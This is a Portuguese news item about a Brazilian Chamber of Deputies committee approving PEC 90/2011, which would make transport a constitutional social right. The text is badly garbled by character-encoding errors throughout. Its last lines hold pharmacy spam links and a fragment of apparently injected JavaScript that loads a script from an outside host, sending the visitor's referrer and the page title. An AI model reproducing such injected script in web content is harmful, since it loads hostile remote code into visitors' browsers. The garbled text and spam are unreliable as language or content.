A autora da proposta, deputada Luiza Erundina (PSB-SP), com o relator e lAi??der da bancada socialista na CA?mara, Beto Albuquerque (RS). Foto: AndrAi?? AbrahA?o
A ComissA?o de ConstituiAi??A?o e JustiAi??a (CCJ) da CA?mara dos Deputados aprovou na tarde desta terAi??a-feira (25) a PEC 90/2011 que inclui o transporte entre os direitos sociais do brasileiro. A PEC Ai?? uma das bandeiras do Movimento Passe Livre (MPL), que defende a adoAi??A?o de tarifa zero no transporte pA?blico. A proposta seguirA? agora para comissA?o especial antes de chegar ao plenA?rio da Casa.
A autora da proposta Ai?? a deputada Luiza Erundina (PSB-SP) e o relator foi o lAi??der da bancada socialista na CA?mara, Beto Albuquerque (RS). Ambos ressaltam que a proposta nA?o institui de imediato a tarifa zero, mas obriga o Estado a elaborar polAi??ticas pA?blicas para o setor. “Ao passar a ser um direito social o poder pA?blico deixa de ser apenas um mero gestor e terA? de promover polAi??ticas pA?blicas para oferecer um transporte digno para o cidadA?o”, disse Beto. “O cidadA?o poderA? recorrer Ai?? JustiAi??a pedindo o atendimento desse direito”, complementa Erundina.
O lAi??der do PSB lembrou que a CA?mara deverA? realizar um amplo debate em plenA?rio na prA?xima semana sobre o tema. Sobre a proposta da tarifa zero, Beto ressalvou que Ai?? preciso examinar com cuidado a ideia para ver sua viabilidade. Pela ConstituiAi??A?o atual, sA?o direitos sociais a educaAi??A?o, a saA?de, a alimentaAi??A?o, o trabalho, a moradia, o lazer, a seguranAi??a, a previdA?ncia social, a proteAi??A?o Ai?? maternidade e Ai?? infA?ncia, a assistA?ncia aos desamparados. http://mrcaterpillar.com/order-danazol-200mg/cholestoplex order s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; zoloft cost no insurance
